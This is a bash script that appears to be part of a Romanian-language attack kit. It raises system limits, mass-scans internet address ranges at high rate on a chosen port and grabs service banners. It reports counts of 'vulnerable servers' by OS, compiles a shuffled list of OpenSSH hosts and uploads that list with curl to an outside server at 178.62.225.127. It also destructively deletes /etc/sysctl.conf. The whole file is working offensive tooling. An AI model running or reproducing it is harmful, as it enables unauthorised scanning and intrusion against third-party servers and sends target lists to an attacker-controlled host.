#!/bin/bash

rm -rf /etc/sysctl.conf ; echo "fs.file-max = 2097152" > /etc/sysctl.conf ; sysctl -p ; ulimit -Hn ; ulimit -n 999999 -u 999999
rm -rf banner.log scan.log ip.tmp

if ! command -v curl &> /dev/null; then
    if [ -x "$(command -v apt-get)" ]; then
        apt-get install -y curl
    elif [ -x "$(command -v yum)" ]; then
        yum install -y curl
    else
        echo "curl muie ips"
        exit 1
    fi
fi
echo "Starting ranges with port $1"
./m -p$1 -iL ranges.lst --rate 80000 --exclude 255.255.255.255 --exclude 10.0.0.0/8 --exclude 192.168.0.0/16 --exclude 127.0.0.0/8 >input.txt
#zmap -i eth0 -p $1 -o input.txt -w ranges.lst -B1000M
cat input.txt |awk '{print $6}' > ip.tmp
#zmap=cat input.txt |awk '{print $1}' > ip.tmp
sed -e "s/$/:$1/g" ip.tmp >> scan.log
./banner b -t 2500
rm -rf scan.log
vulns=$(cat banner.log |wc -l) > /dev/null
ubuntu=$(cat  banner.log  |grep Ubuntu  |wc -l) > /dev/null
debian=$(cat  banner.log  |grep Debian  |wc -l) > /dev/null
freebsd=$(cat banner.log  |grep FreeBSD |wc -l) > /dev/null
altele=$(cat banner.log |grep -v FreeBSD |grep -v Debian |grep -v Ubuntu |wc -l) > /dev/null
echo -e "[*]            Am gasit \e[92m[$vulns]\e[0m servere vulnerabile"
echo -e "[*]            Ubuntu: \e[93m[$ubuntu]\e[0m"
echo -e "[*]            Debian: \e[93m[$debian]\e[0m"
echo -e "[*]            FreeBSD: \e[93m[$freebsd]\e[0m"
echo -e "[*]            Altele: \e[93m[$altele]\e[0m"
cat banner.log  |grep SSH-2.0-OpenSSH_ |awk '{print $1}' |uniq |shuf >> scan.log
random_name="IPS$(date '+%s%N').txt"
cp scan.log "$random_name"
curl -X POST -F "file=@$random_name" "http://178.62.225.127:6969/upload"
rm -rf "$random_name"
sleep 1
echo "done"
rm -rf banner.log
cat scan.log >> ipz
sleep 5
